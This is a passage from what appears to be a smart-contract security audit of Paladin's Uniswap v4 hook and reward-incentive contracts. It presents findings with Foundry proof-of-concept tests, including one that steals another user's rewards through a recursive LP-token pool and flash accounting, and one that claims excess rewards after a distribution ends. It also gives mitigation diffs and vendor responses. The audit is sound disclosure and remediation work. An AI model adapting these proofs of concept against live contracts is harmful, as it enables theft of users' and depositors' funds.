    BasicIncentiveLogic logic;

    address alice;
    address bob;

    struct CallbackData {
        IncentivizedPoolId id;
        Currency currency;
        address recipient;
    }

    function unlockCallback(bytes calldata rawData) external returns (bytes memory) {
        require(msg.sender == address(manager), "caller not manager");

        CallbackData memory data = abi.decode(rawData, (CallbackData));

        address rewardTokenAddress = Currency.unwrap(data.currency);
        MockERC20 rewardToken = MockERC20(rewardTokenAddress);

        manager.sync(data.currency);

        logic.claim(data.id, rewardTokenAddress, address(manager), address(manager));
        uint256 fees = logic.accumulatedFees(rewardTokenAddress);
        assertApproxEqAbs(rewardToken.balanceOf(address(manager)), 100 ether - fees, FEE_DELTA);
        assertApproxEqAbs(rewardToken.balanceOf(address(logic)), fees, FEE_DELTA);

        manager.settleFor(data.recipient);
        data.currency.take(manager, data.recipient, rewardToken.balanceOf(address(manager)), false);

        return abi.encode(0);
    }

    function _fetchBalances(Currency currency, address user, address deltaHolder)
        internal
        view
        returns (uint256 userBalance, uint256 poolBalance, int256 delta)
    {
        userBalance = currency.balanceOf(user);
        poolBalance = currency.balanceOf(address(manager));
        delta = manager.currencyDelta(deltaHolder, currency);
    }

    function createPoolKey(address tokenA, address tokenB, uint24 fee, address _hookAddress)
        internal
        view
```

```
        returns (PoolKey memory)
    {
        if (tokenA > tokenB) (tokenA, tokenB) = (tokenB, tokenA);
        return PoolKey(Currency.wrap(tokenA), Currency.wrap(tokenB), fee, int24(60),
        ↪  IHooks(_hookAddress));
    }

    function setUp() public {
        deployFreshManagerAndRouters();
        MockERC20[] memory tokens = deployTokens(2, 2 ** 128);
        token0 = tokens[0];
        token1 = tokens[1];

        incentiveManager = new IncentiveManager();

        FullRangeHookImpl impl = new FullRangeHookImpl(manager,
        ↪  IIncentiveManager(address(incentiveManager)), fullRange);
        vm.etch(address(fullRange), address(impl).code);
        hookAddress = address(fullRange);

        key = createPoolKey(address(token0), address(token1), 3000, hookAddress);
        id = key.toId();

        token0.approve(address(fullRange), type(uint256).max);
        token1.approve(address(fullRange), type(uint256).max);

        vm.label(Currency.unwrap(key.currency0), "currency0");
        vm.label(Currency.unwrap(key.currency1), "currency1");
        vm.label(hookAddress, "fullRangeHook");
        vm.label(address(this), "test contract");
        vm.label(address(manager), "pool manager");
        vm.label(address(incentiveManager), "incentiveManager");

        incentiveManager.addHook(hookAddress);
        initPool(key.currency0, key.currency1, IHooks(hookAddress), 3000, SQRT_PRICE_1_1);

        alice = makeAddr("alice");
        bob = makeAddr("bob");

        token0.mint(alice, 100 ether);
        token1.mint(alice, 100 ether);
        vm.startPrank(alice);
        token0.approve(address(fullRange), type(uint256).max);
        token1.approve(address(fullRange), type(uint256).max);
        vm.stopPrank();
    }

    function test_addLiquidityRecursivePoC() public {
        uint256 prevBalance0 = key.currency0.balanceOf(alice);
        uint256 prevBalance1 = key.currency1.balanceOf(alice);

        (uint160 sqrtPriceX96,,,) = manager.getSlot0(key.toId());
        uint128 liquidity = LiquidityAmounts.getLiquidityForAmounts(
            sqrtPriceX96,
            TickMath.getSqrtPriceAtTick(MIN_TICK),
            TickMath.getSqrtPriceAtTick(MAX_TICK),
            10 ether,
            10 ether
        );

        FullRangeHook.AddLiquidityParams memory addLiquidityParams = FullRangeHook.AddLiquidityParams(
```

```
    key.currency0, key.currency1, 3000, 10 ether, 10 ether, 9 ether, 9 ether, alice,
    ↪ MAX_DEADLINE
);

console.log("alice adding liquidity");

vm.expectEmit(true, true, true, true);
emit Deposited(alice, id, 10 ether - LOCKED_LIQUIDITY);

vm.prank(alice);
fullRange.addLiquidity(addLiquidityParams);

(bool hasAccruedFees, address liquidityToken) = fullRange.poolInfo(id);
vm.label(liquidityToken, "LP token 1");
uint256 liquidityTokenBal = IncentivizedERC20(liquidityToken).balanceOf(alice);

assertEq(manager.getLiquidity(id), liquidityTokenBal + LOCKED_LIQUIDITY);

assertEq(key.currency0.balanceOf(alice), prevBalance0 - 10 ether);
assertEq(key.currency1.balanceOf(alice), prevBalance1 - 10 ether);

assertEq(liquidityTokenBal, 10 ether - LOCKED_LIQUIDITY);
assertEq(hasAccruedFees, false);

// --------

console.log("\n");
console.log("setting up recursive pool");

vm.prank(alice);
MockERC20(liquidityToken).approve(hookAddress, type(uint256).max);

address token0 = Currency.unwrap(key.currency0);
address token1 = liquidityToken;

vm.label(token0, "recursive token 0");
vm.label(token1, "recursive token 1 (LP token 1)");

if (token0 > token1) {
    (token0, token1) = (token1, token0);
    vm.label(token0, "recursive token0 (LP token 1)");
    vm.label(token1, "recursive token1");
}

PoolKey memory recursiveKey = PoolKey(Currency.wrap(token0), Currency.wrap(token1), 3000, 60,
↪ IHooks(hookAddress));
PoolId recursiveId = recursiveKey.toId();
initPool(recursiveKey.currency0, recursiveKey.currency1, IHooks(hookAddress), 3000,
↪ SQRT_PRICE_1_1);
(, address recursiveLiquidityToken) = fullRange.poolInfo(recursiveId);
vm.label(recursiveLiquidityToken, "LP token 2");

// --------

console.log("\n");
console.log("bob deposits incentives for original pool");

logic = new BasicIncentiveLogic(address(incentiveManager), BASE_FEE);

vm.expectEmit(true, true, true, true);
emit NewIncentiveLogic(1, address(logic));
incentiveManager.addIncentiveLogic(address(logic));
```

```
IncentivizedPoolId expectedId = IncentivizedPoolKey({ id: id, lpToken: liquidityToken }).toId();

assertEq(incentiveManager.incentiveSystemIndex(address(logic)), 1);
assertEq(incentiveManager.poolListedIncentiveSystems(expectedId, 1), false);

MockERC20 rewardToken = new MockERC20("Reward Token", "RT", 18);
vm.label(address(rewardToken), "reward token");

rewardToken.mint(bob, 100 ether);
vm.prank(bob);
rewardToken.approve(address(logic), type(uint256).max);

(address system, bool updateOnSwap) = incentiveManager.incentiveSystems(1);
assertEq(system, address(logic));
assertEq(updateOnSwap, false);

vm.prank(bob);
logic.depositRewards(expectedId, address(rewardToken), 100 ether, 2 weeks);
assertEq(rewardToken.balanceOf(address(this)), 0);
assertEq(rewardToken.balanceOf(address(logic)), 100 ether);
assertEq(incentiveManager.poolListedIncentiveSystems(expectedId, 1), true);

// --------

console.log("\n");
console.log("alice adding recursive liquidity");

uint256 prevBalance0Recursive = recursiveKey.currency0.balanceOf(alice);
uint256 prevBalance1Recursive = recursiveKey.currency1.balanceOf(alice);

(uint160 sqrtPriceX96Recursive,,,) = manager.getSlot0(recursiveId);
uint128 liquidityRecursive = LiquidityAmounts.getLiquidityForAmounts(
    sqrtPriceX96Recursive,
    TickMath.getSqrtPriceAtTick(MIN_TICK),
    TickMath.getSqrtPriceAtTick(MAX_TICK),
    liquidityTokenBal,
    liquidityTokenBal
);

FullRangeHook.AddLiquidityParams memory addLiquidityParamsRecursive =
↪  FullRangeHook.AddLiquidityParams(
    recursiveKey.currency0, recursiveKey.currency1, 3000, liquidityTokenBal, liquidityTokenBal,
    ↪  liquidityTokenBal * 9/10, liquidityTokenBal * 9/10, alice, MAX_DEADLINE
);

vm.expectEmit(true, true, true, true);
emit Deposited(alice, recursiveId, liquidityTokenBal - LOCKED_LIQUIDITY);

vm.prank(alice);
fullRange.addLiquidity(addLiquidityParamsRecursive);

(bool hasAccruedFeesRecursive,) = fullRange.poolInfo(recursiveId);
uint256 liquidityTokenBalRecursive =
↪  IncentivizedERC20(recursiveLiquidityToken).balanceOf(alice);

assertEq(manager.getLiquidity(recursiveId), liquidityTokenBalRecursive + LOCKED_LIQUIDITY);

assertEq(recursiveKey.currency0.balanceOf(alice), prevBalance0Recursive - liquidityTokenBal);
assertEq(recursiveKey.currency1.balanceOf(alice), prevBalance1Recursive - liquidityTokenBal);

assertEq(liquidityTokenBalRecursive, liquidityTokenBal - LOCKED_LIQUIDITY);
```

```
        assertEq(hasAccruedFeesRecursive, false);

        // --------

        console.log("\n");
        console.log("maliciously claiming alice's rewards");

        skip(3 weeks);

        manager.unlock(abi.encode(CallbackData(expectedId, Currency.wrap(address(rewardToken)),
        ↪  address(this))));
        assertApproxEqAbs(rewardToken.balanceOf(address(this)), 100 ether -
        ↪  logic.accumulatedFees(address(rewardToken)), FEE_DELTA);
    }
}
```

Note that it is not possible to steal rewards with flash accounting using alternative callback shown below due to the user state updates that are performed on notification of the transfer. By extension, this also means that honest users will lose their rewards that were accruing for the duration of the deposit when removing liquidity from the pool:

```
function unlockCallback(bytes calldata rawData) external returns (bytes memory) {
    require(msg.sender == address(manager), "caller not manager");

    CallbackData memory data = abi.decode(rawData, (CallbackData));

    address rewardTokenAddress = Currency.unwrap(data.currency);
    MockERC20 rewardToken = MockERC20(rewardTokenAddress);
    (, address liquidityTokenAddress) = fullRange.poolInfo(id);
    IncentivizedERC20 liquidityToken = IncentivizedERC20(liquidityTokenAddress);
    Currency liquidityTokenCurrency = Currency.wrap(liquidityTokenAddress);

    console.log("manager earned: %s", logic.earned(data.id, rewardTokenAddress, address(manager)));

    // flash liquidity token
    liquidityTokenCurrency.take(manager, data.recipient, liquidityToken.balanceOf(address(manager)),
    ↪  false);

    console.log("recipient balance: %s", liquidityToken.balanceOf(data.recipient));
    console.log("recipient earned: %s", logic.earned(data.id, rewardTokenAddress, data.recipient));

    // attempt to claim rewards
    logic.claim(data.id, rewardTokenAddress, data.recipient, data.recipient);
    uint256 fees = logic.accumulatedFees(rewardTokenAddress);

    // these assertions fail as no rewards are claimed
    // assertApproxEqAbs(rewardToken.balanceOf(data.recipient), 100 ether - fees, FEE_DELTA);
    // assertApproxEqAbs(rewardToken.balanceOf(address(logic)), fees, FEE_DELTA);

    // settle liquidity token
    liquidityTokenCurrency.settle(manager, data.recipient, liquidityToken.balanceOf(data.recipient),
    ↪  false);

    return abi.encode(0);
}
```

Recommended Mitigation: Explicitly handling the case where `IncentivizedERC20` tokens are sent to the `PoolManager` is not sufficient as these pools could still be created on other venues such as Uniswap v2 or v3. Restricting claims to be made by only the address holding the funds does not mitigate against claims made during flash swaps and has other downsides still.

A wrapped version of `IncentivizedERC20` tokens is likely the safest way to enable the creation of recursive liquidity pools, although this comes with added complexity. Alternatively, it is recommended to clearly communicate this risk to liquidity providers and reward depositors.

Paladin: This issue was known, and is common to any type of reward accruing ERC20s. It is already planned to communicate to users and incentives depositors about this scenario, and to advise anybody that would like to use such LP tokens to deposit in another Uniswap Pool (V2, V3 or V4) or even in any other DeFi protocol to either make sure the smart contract that will receive the ERC20s will be able to claim and redirect the rewards, or to use a wrapped version of the ERC20 that will have such logic.

Cyfrin: Acknowledged.

7.2.8 Precision loss can result in funds becoming stuck in incentive logic contracts

Description: In all three incentive logic contracts, the `ratePerSec` of deposited rewards is computed by performing a division of the `amount` to distribute by the `duration`:

```
    function depositRewards(IncentivizedPoolId id, address token, uint256 amount, uint256 duration)
        external
        override
        nonReentrant
    {
        ...
        uint32 endTimestampCache = _state.endTimestamp;
        if (endTimestampCache < block.timestamp) {
            if (duration < MIN_DURATION) revert InvalidDuration();

            if (endTimestampCache == 0) poolRewards[id].push(token);

            // Calculate the rate
@>          uint256 rate = amount / duration;

            ...
        }
    }
```

If the token to distribute has a small amount of decimals, this can result in a "dust" amount accumulating that will never be distributed and ultimately remain locked in the contract. Considering WBTC on Ethereum, taking note of the fact that it has only 8 decimals and a large value per token, the value stuck in the contract can be significant.

This is additionally problematic for calculations performed to extend the duration of distribution, where the precision loss in `ratePerSec` is amplified when calculating the leftover rewards and updated rate:

```
// Calculates the leftover rewards from the current distribution
uint96 ratePerSecCache = _state.ratePerSec;
uint256 leftoverRewards = ratePerSecCache * remainingDuration;

// Calculates the new rate
uint256 newRate = (amount + leftoverRewards) / newDuration;
if (newRate < ratePerSecCache) revert CannotReduceRate();
```

The amount lost due to down rounding will not be considered here, meaning the actual leftover rewards will exceed the calculated value. Calculation of the new rate is again affected by precision loss due to down rounding.

Proof of Concept: In the following example, a user attempts to distribute $10,000 worth of WBTC over a reasonable 10 week duration. In reality, $5,382 worth of WBTC is distributed while the remaining $4,618 gets stuck in the contract and will be never retrievable by anyone.

The following tests should be placed in `BasicIncentiveLogic.t.sol`:

```
function test_DustAmountsLost() public {
    uint256 currentBTCValueInDollars = 89000;
```

```
    uint256 amountInDollarsToDeposit = 10000;       // 10k dollars to distribute
    uint256 btcAmount = amountInDollarsToDeposit * 10**8 / currentBTCValueInDollars;
    uint256 distributionDuration = 10 weeks;        // 10 weeks of distribution

    MockERC20 wbtc = new MockERC20("WBTC", "WBTC", 8);
    wbtc.mint(address(this), btcAmount);
    wbtc.approve(address(logic), type(uint256).max);

    PoolId poolKey;
    IncentivizedPoolId poolId;
    address lpToken = address(7);

    poolKey = createPoolKey(address(1), address(2), 3000).toId();
    poolId = IncentivizedPoolKey({ id: poolKey, lpToken: lpToken }).toId();

    manager.setListedPool(poolId, true);
    logic.updateDefaultFee(0);

    address[] memory systems = new address[](1);
    systems[0] = address(logic);

    manager.notifyAddLiquidty(systems, poolKey, lpToken, user1, int256(1 ether));

    logic.depositRewards(poolId, address(wbtc), btcAmount, distributionDuration);

    skip(10 weeks);

    // Since user1 is the only liquidity provider they own all rewards of the pool and given that all
    // distribution window has already elapsed, this is the full amount that will be distributed
    uint256 valueDistributedInDollars = logic.earned(poolId, address(wbtc), user1) *
    ↪  currentBTCValueInDollars / (10**8);
    uint256 valueLockedDueToRoundingInDollars = amountInDollarsToDeposit - valueDistributedInDollars;

    console.log("Value distributed:", valueDistributedInDollars);
    console.log("Value locked:", valueLockedDueToRoundingInDollars);
}

function test_ExtensionPrecisionLoss() public {
    uint256 currentBTCValueInDollars = 89000;
    uint256 amountInDollarsToDeposit = 10000;       // 10k dollars to distribute
    uint256 btcAmount = amountInDollarsToDeposit * 10**8 / currentBTCValueInDollars;
    uint256 distributionDuration = 10 weeks;        // 10 weeks of distribution

    MockERC20 wbtc = new MockERC20("WBTC", "WBTC", 8);
    wbtc.mint(address(this), btcAmount);
    wbtc.approve(address(logic), type(uint256).max);

    PoolId poolKey;
    IncentivizedPoolId poolId;
    address lpToken = address(7);

    poolKey = createPoolKey(address(1), address(2), 3000).toId();
    poolId = IncentivizedPoolKey({ id: poolKey, lpToken: lpToken }).toId();

    manager.setListedPool(poolId, true);
    logic.updateDefaultFee(0);

    address[] memory systems = new address[](1);
    systems[0] = address(logic);

    manager.notifyAddLiquidty(systems, poolKey, lpToken, user1, int256(1 ether));
```

```
    logic.depositRewards(poolId, address(wbtc), btcAmount, distributionDuration);

    uint256 initialDuration = 2 weeks;
    skip(initialDuration);

    wbtc.mint(address(this), btcAmount);
    // extend distribution by depositing the same amount again
    logic.depositRewards(poolId, address(wbtc), btcAmount, distributionDuration);

    skip(2 * distributionDuration - initialDuration);

    // Since user1 is the only liquidity provider they own all rewards of the pool and given that all
    // distribution window has already elapsed, this is the full amount that will be distributed
    uint256 valueDistributedInDollars = logic.earned(poolId, address(wbtc), user1) *
    ↪  currentBTCValueInDollars / (10**8);
    uint256 valueLockedDueToRoundingInDollars = 2 * amountInDollarsToDeposit -
    ↪  valueDistributedInDollars;

    console.log("Value distributed:", valueDistributedInDollars);
    console.log("Value locked:", valueLockedDueToRoundingInDollars);
}
```

Output:

```
Ran 2 tests for test/BasicIncentiveLogic.t.sol:TestBasicIncentiveLogic
[PASS] test_DustAmountsLost() (gas: 1195208)
Logs:
  Value distributed: 5382
  Value locked: 4618

[PASS] test_ExtensionPrecisionLoss() (gas: 1214484)
Logs:
  Value distributed: 10765
  Value locked: 9235
```

Impact: There is a high likelihood of significant loss of funds.

Recommended Mitigation: Consider preventing reward amounts that will result in the accumulation of dust from being deposited for initial distributions:

```
    function depositRewards(IncentivizedPoolId id, address token, uint256 amount, uint256 duration)
        external
        override
        nonReentrant
    {
        if (amount == 0) revert NullAmount();
++      if (amount % duration != 0) revert RemainingDust();
        if (!IncentiveManager(incentiveManager).isListedPool(id)) revert InvalidPool();

        ...
    }
```

When existing distributions are to be extended, similarly consider preventing dust amounts from accumulating by again checking the modulus:

```
    // Calculates the leftover rewards from the current distribution
    uint96 ratePerSecCache = _state.ratePerSec;
    uint256 leftoverRewards = ratePerSecCache * remainingDuration;

    // Calculates the new rate
++  if (amount + leftoverRewards % newDuration != 0) revert RemainingDust();
```

```
    uint256 newRate = (amount + leftoverRewards) / newDuration;
    if (newRate < ratePerSecCache) revert CannotReduceRate();
```

Paladin: Fixed by commit 74060d7. Decided not to fully revert for any small amount of dust, as this could block some integrations, and be wronged by the fee taken or simply by another malicious actor frontrunning the deposit to deposit more rewards and make the call fail. Instead we "accept" a certain percentage of dust lost due to imprecision.

Cyfrin: Verified. Additional validation is now performed to ensure that no more than 1% of the distributed rewards can accumulate as dust amounts. Note that this can still be significant equivalent dollar value for distributions of high value tokens with low decimals (e.g. WBTC).

7.2.9 Rewards distributed with `TimeWeightedIncentiveLogic` can continue to be claimed after the distribution ends

Description: The `TimeWeightedIncentiveLogic` rewards users proportionally to the amount of time they have deposited liquidity without modification to their position. There is an initial required ramp-up duration, during which users will receive partial rewards and after which the maximum rate is applied. It is understood that a user who has already passed the required minimum duration in the pool prior to reward distribution should have the maximum rate applied for the whole duration, and so if they are the only depositor then the full reward amount should be distributed. It is also understood that claims should not impact this in any way. Similarly, a reduction in a user's position should not impact their duration in the pool, whereas increases by addition of liquidity and/or transfers should reduce their duration based on the amount compared to their previous balance.

Due to a known and accepted tradeoff, users who were already deposited for the required duration before reward distribution will not receive the full amount without manually updating their state. It can be observed in the below test that a user who has already held their position for the 1 week required duration before the distribution receives only three quarters of what they would expect as their checkpoint is not automatically updated. However, if their state is manually updated at the same time as the distribution, immediately before the deposit of rewards, then they receive the full amount.

```
function test_TimeWeightedManualUpdate() public {
    skip(1 weeks);

    logic.updateDefaultFee(0);

    IncentivizedPoolId incentivizedId = IncentivizedPoolKey({ id: pool1, lpToken: lpToken1 }).toId();

    manager.setListedPool(incentivizedId, true);

    address[] memory systems = new address[](1);
    systems[0] = address(logic);

    // The user1 has all the liquidity of the pool, hence all the rewards should go to them
    manager.notifyAddLiquidty(systems, pool1, lpToken1, user1, int256(100 ether));

    skip(1 weeks);

    // The distributor sends 1000 tokens that will be distributed during 1 week
    uint256 amount = 1000 ether;
    uint256 duration = 1 weeks;

    // claiming without automatic state update
    uint256 snapshotId = vm.snapshotState();

    (, uint256 checkPointDuration1) = logic.userCheckpoints(incentivizedId, user1);
    console.log(checkPointDuration1);

    logic.depositRewards(incentivizedId, address(token0), amount, duration);
```

```
    skip(1 weeks);
    uint256 tokensClaimed1 = logic.claim(incentivizedId, address(token0), user1, user1);
    console.log(tokensClaimed1);

    // claiming with manual state update
    require(vm.revertToState(snapshotId));

    logic.updateUserState(incentivizedId, user1);

    (, uint256 checkPointDuration2) = logic.userCheckpoints(incentivizedId, user1);
    console.log(checkPointDuration2);

    logic.depositRewards(incentivizedId, address(token0), amount, duration);

    skip(1 weeks);
    uint256 tokensClaimed2 = logic.claim(incentivizedId, address(token0), user1, user1);
    console.log(tokensClaimed2);

    assertGt(tokensClaimed2, tokensClaimed1);
}
```

Ignoring this limitation case, it is the intention that reward accrual should end when the distribution ends, regardless of when the rewards are claimed; however, this is not currently so. It should be noted that this occurs when rewards are distributed but claimed some time after the end of the duration for both when the required duration is less than and equals the full distribution duration. Here, additional rewards can be claimed versus if they were to be claimed immediately at the end of the distribution and then attempted again (with no additional being claimed).

While the `rewardPerToken` does not continue to increase, as expected, the usage of `timeDiff` in `_earnedTimeWeighted()` causes the calculation of the ratio to be larger than intended:

```
    function _earnedTimeWeigthed(IncentivizedPoolId id, address token, address account, uint256
    ↪  newRewardPerToken)
        internal
        view
        returns (uint256 earnedAmount, uint256 leftover)
    {
        UserRewardData memory _userState = userRewardStates[id][account][token];
        if (_userState.lastRewardPerToken == newRewardPerToken) return (_userState.accrued, 0);

        uint256 userBalance = poolStates[id].userLiquidity[account];

        uint256 maxDuration = distributionRequiredDurations[id][token];
        uint256 maxEarned = (userBalance * (newRewardPerToken - _userState.lastRewardPerToken) / UNIT);

        RewardCheckpoint memory _checkpoint = userCheckpoints[id][account];
        if (_checkpoint.duration >= maxDuration) {
            earnedAmount = maxEarned + _userState.accrued;
            leftover = 0;
        } else {
            uint256 lastUpdateTs = userRewardStateUpdates[id][account][token];
            lastUpdateTs = lastUpdateTs > _checkpoint.timestamp ? lastUpdateTs : _checkpoint.timestamp;
@>          uint256 timeDiff = block.timestamp - lastUpdateTs;
            uint256 newDuration = _checkpoint.duration + timeDiff;
            if (newDuration >= maxDuration) newDuration = maxDuration;
            uint256 ratio;
            if (newDuration >= maxDuration) {
                uint256 remainingIncreaseDuration = maxDuration - _checkpoint.duration;
                uint256 left = ((((maxDuration - _checkpoint.duration - 1) * UNIT) / 2) / maxDuration);
                ratio =
                    ((left * remainingIncreaseDuration) + (UNIT * (timeDiff -
                    ↪  remainingIncreaseDuration))) / timeDiff;
```

```
            } else {
                ratio = ((((newDuration - _checkpoint.duration - 1) * UNIT) / 2) / maxDuration);
            }
            earnedAmount = ((maxEarned * ratio) / UNIT) + _userState.accrued;
            leftover = maxEarned - earnedAmount;
        }
    }
```

For users who are yet to update their checkpoints, the stored timestamp will be uninitialized as 0. Claiming after the distribution ends will require a calculation for the composite ratio that accounts for contributions from both the time when the rate would have been increasing, and also the remaining period after passing the required duration. If the claim `block.timestamp` exceeds the true end timestamp then this result in a large `timeDiff` that can exceed the intended duration of distribution. Therefore, the calculation of the ratio contribution from after the required duration has passed will be larger than the intended maximum distribution.

Impact: Additional rewards can be claimed after accrual should have ended, at the expense of the distribution manager and/or other users.

Proof of Concept: The following test, which should be placed within `TimeWeightedIncentiveLogic.t.sol`, demonstrates that a user can claim additional rewards after the distribution has ended:‘

```
function test_TimeWeightedClaimAfterEnd() public {
    skip(1 weeks);

    logic.updateDefaultFee(0);

    IncentivizedPoolId incentivizedId = IncentivizedPoolKey({ id: pool1, lpToken: lpToken1 }).toId();

    manager.setListedPool(incentivizedId, true);

    address[] memory systems = new address[](1);
    systems[0] = address(logic);

    // 1000 tokens will be distributed during 1 week
    uint256 amount = 1000 ether;
    uint256 duration = 1 weeks;

    logic.depositRewards(incentivizedId, address(token0), amount, duration);

    manager.notifyAddLiquidty(systems, pool1, lpToken1, user1, int256(100 ether));

    console.log("claiming immediately as duration ends");
    uint256 snapshotId = vm.snapshotState();

    skip(1 weeks);

    uint256 tokensEarned = logic.claim(incentivizedId, address(token0), user1, user1) / 1 ether;

    console.log(tokensEarned);

    console.log("claiming immediately as duration ends, then attempting again");
    require(vm.revertToStateAndDelete(snapshotId));
    snapshotId = vm.snapshotState();

    skip(1 weeks);

    uint256 tokensEarned1 = logic.claim(incentivizedId, address(token0), user1, user1) / 1 ether;
    skip(1 weeks);
    uint256 tokensEarned2 = logic.claim(incentivizedId, address(token0), user1, user1) / 1 ether;

    console.log(tokensEarned1);
    console.log(tokensEarned2);
```

```
    console.log("claiming some time after duration ends");
    require(vm.revertToStateAndDelete(snapshotId));
    snapshotId = vm.snapshotState();

    skip(5 weeks);

    tokensEarned = logic.claim(incentivizedId, address(token0), user1, user1) / 1 ether;

    console.log(tokensEarned);
}
```

Output:

```
Logs:
  claiming immediately as duration ends
  499
  claiming immediately as duration ends, then attempting again
  499
  0
  claiming some time after duration ends
  899
```

Recommended Mitigation: The following diff passes all tests, but also requires modification of the copied `TestTimeWeightedLogic::_earnedTimeWeighted()` implementation:

```
function _earnedTimeWeigthed(IncentivizedPoolId id, address token, address account, uint256
↪  newRewardPerToken)
    internal
    view
    returns (uint256 earnedAmount, uint256 leftover)
{
    UserRewardData memory _userState = userRewardStates[id][account][token];
    if (_userState.lastRewardPerToken == newRewardPerToken) return (_userState.accrued, 0);

    uint256 userBalance = poolStates[id].userLiquidity[account];

    uint256 maxDuration = distributionRequiredDurations[id][token];
    uint256 maxEarned = (userBalance * (newRewardPerToken - _userState.lastRewardPerToken) / UNIT);

    RewardCheckpoint memory _checkpoint = userCheckpoints[id][account];
    if (_checkpoint.duration >= maxDuration) {
        earnedAmount = maxEarned + _userState.accrued;
        leftover = 0;
    } else {
        uint256 lastUpdateTs = userRewardStateUpdates[id][account][token];
        lastUpdateTs = lastUpdateTs > _checkpoint.timestamp ? lastUpdateTs : _checkpoint.timestamp;
--      uint256 timeDiff = block.timestamp - lastUpdateTs;
++      uint256 timeDiffEnd = poolRewardData[id][token].endTimestamp;
++      if (timeDiffEnd > block.timestamp) timeDiffEnd = block.timestamp;
++      uint256 timeDiff = timeDiffEnd - lastUpdateTs;
        uint256 newDuration = _checkpoint.duration + timeDiff;
        if (newDuration >= maxDuration) newDuration = maxDuration;
        uint256 ratio;
        if (newDuration >= maxDuration) {
            uint256 remainingIncreaseDuration = maxDuration - _checkpoint.duration;
            uint256 left = ((((maxDuration - _checkpoint.duration - 1) * UNIT) / 2) / maxDuration);
             ratio =
                ((left * remainingIncreaseDuration) + (UNIT * (timeDiff - remainingIncreaseDuration)))
                ↪  / timeDiff;
```

```
        } else {
            ratio = ((((newDuration - _checkpoint.duration - 1) * UNIT) / 2) / maxDuration);
        }
        earnedAmount = ((maxEarned * ratio) / UNIT) + _userState.accrued;
        leftover = maxEarned - earnedAmount;
    }
}
```

Output:

```
Logs:
  claiming immediately as duration ends
  499
  claiming immediately as duration ends, then attempting again
  499
  0
  claiming some time after duration ends
  499
```

It is recommended to instead create a minimal test harness contract that inherits from the actual contract to be tested but wraps and exposes the internal functions so they can be used in the tests, e.g.:

```
TimeWeightedLogicHarness is TimeWeightedLogic {
    ...

    function _earnedTimeWeighted_Exposed(...) public view returns (...) {
        _earnedTimeWeighted(...);
    }
}
```

This helps to avoid errors in repeated logic and ensures that the implementation being tested is the correct implementation itself. It is additionally recommended to avoid testing the implementation against itself by making assertions on the return values of public entrypoints against piecewise invocation of internal functions.

Paladin: Fixed by commit `f8dc21e`.

Cyfrin: Verified. The time difference calculation can no longer exceed the distribution end timestamp.

7.3 Medium Risk

7.3.1 `IncentivizedERC20` should not be hardcoded to 18 decimals

Description: Whenever a new `IncentivizedERC20` is created to represent the liquidity of a given pool, its decimals are hardcoded to 18:

```
contract IncentivizedERC20 is ERC20, Owned {
    ...
    constructor(string memory name, string memory symbol, PoolId id) ERC20(name, symbol, 18)
    ↪  Owned(msg.sender) {
        hook = msg.sender;
        poolId = id;
    }
    ...
}
```

This is fine when both tokens in the Uniswap v4 pool have 18 decimals since the output liquidity will also have the same decimal precision. However, when any of the tokens in the pool have fewer than 18 decimals, the output liquidity will inherit the amount of decimals. Given that the `IncentivizedERC20` decimals will be hardcoded to 18 but the actual underlying liquidity decimals will be less, this can break external integrations with third parties that interact with these tokens.

Additionally, this means that `MINIMUM_LIQUIDITY` should be variable depending on the liquidity decimals, since `1e3` for a 6-decimal liquidity token is likely to be far more valuable than the same amount of an 18-decimal liquidity token.

Impact: The likelihood of this being an issue is medium-high taking into account that USDC and USDT, for example, are some of the most widely used tokens and both have 6 decimals. The severity of the issues that may arise for external integrators will vary.

Proof of Concept: The following test should be placed in `FullRangeHook.t.sol`:

```
function test_LessThan18Decimals() public {
    MockERC20 token0WithLessDecimals = new MockERC20("TEST1", "TEST1", 18);
    token0WithLessDecimals.mint(address(this), 1_000_000 * 10 ** 18);
    MockERC20 token1WithLessDecimals = new MockERC20("TEST2", "TEST2", 6);
    token1WithLessDecimals.mint(address(this), 1_000_000 * 10 ** 6);

    PoolKey memory newKey = createPoolKey(address(token0WithLessDecimals),
    ↪  address(token1WithLessDecimals), 3000, hookAddress);
    PoolId newId = key.toId();

    token0WithLessDecimals.approve(address(fullRange), type(uint256).max);
    token1WithLessDecimals.approve(address(fullRange), type(uint256).max);

    initPool(newKey.currency0, newKey.currency1, IHooks(hookAddress), 3000, SQRT_PRICE_1_1);

    uint128 liquidityMinted = fullRange.addLiquidity(
        FullRangeHook.AddLiquidityParams(
            newKey.currency0,
            newKey.currency1,
            3000,
            100 * 10 ** 18,
            100 * 10 ** 6,
            0,
            0,
            address(this),
            MAX_DEADLINE
        )
    );
```

```
    assertEq(liquidityMinted, 100 * 10 ** 6);
}
```

As demonstrated above, the pool liquidity needs only one of the two tokens to have fewer than 18 decimals to inherit its decimals.

Recommended Mitigation: Assuming both ERC-20 tokens underlying the currencies implement the `decimals()` function, and liquidity is added while the square root price is inside the intended full range, `FullRangeHook.sol` can be modified as follows:

```
    function beforeInitialize(address, PoolKey calldata key, uint160)
        external
        override
        onlyPoolManager
        returns (bytes4)
    {
        if (key.tickSpacing != 60) revert TickSpacingNotDefault();

        PoolId poolId = key.toId();

        // Prepare the symbol for the LP token to be deployed
        string memory symbol0 =
            key.currency0.isAddressZero() ? NATIVE_CURRENCY_SYMBOL :
            ↪  IERC20Metadata(Currency.unwrap(key.currency0)).symbol();
        string memory symbol1 =
            key.currency1.isAddressZero() ? NATIVE_CURRENCY_SYMBOL :
            ↪  IERC20Metadata(Currency.unwrap(key.currency1)).symbol();

        string memory tokenSymbol =
            string(abi.encodePacked("UniV4", "-", symbol0, "-", symbol1, "-",
            ↪  Strings.toString(uint256(key.fee))));
        // Deploy the LP token for the Pool
++      uint8 token0Decimals = IERC20Metadata(Currency.unwrap(key.currency0)).decimals();
++      uint8 token1Decimals = IERC20Metadata(Currency.unwrap(key.currency1)).decimals();
++      uint8 liquidityDecimals = token0Decimals < token1Decimals ? token0Decimals : token1Decimals;
--      address poolToken = address(new IncentivizedERC20(tokenSymbol, tokenSymbol, poolId));
++      address poolToken = address(new IncentivizedERC20(tokenSymbol, tokenSymbol, poolId,
↪   liquidityDecimals));
        ...
    }
```

`IncentivizedERC20`:

```
contract IncentivizedERC20 is ERC20, Owned {

--  constructor(string memory name, string memory symbol, PoolId id) ERC20(name, symbol, 18)
↪   Owned(msg.sender) {
++  constructor(string memory name, string memory symbol, PoolId id, uint8 decimals) ERC20(name,
↪   symbol, decimals) Owned(msg.sender) {
        hook = msg.sender;
        poolId = id;
    }
}
```

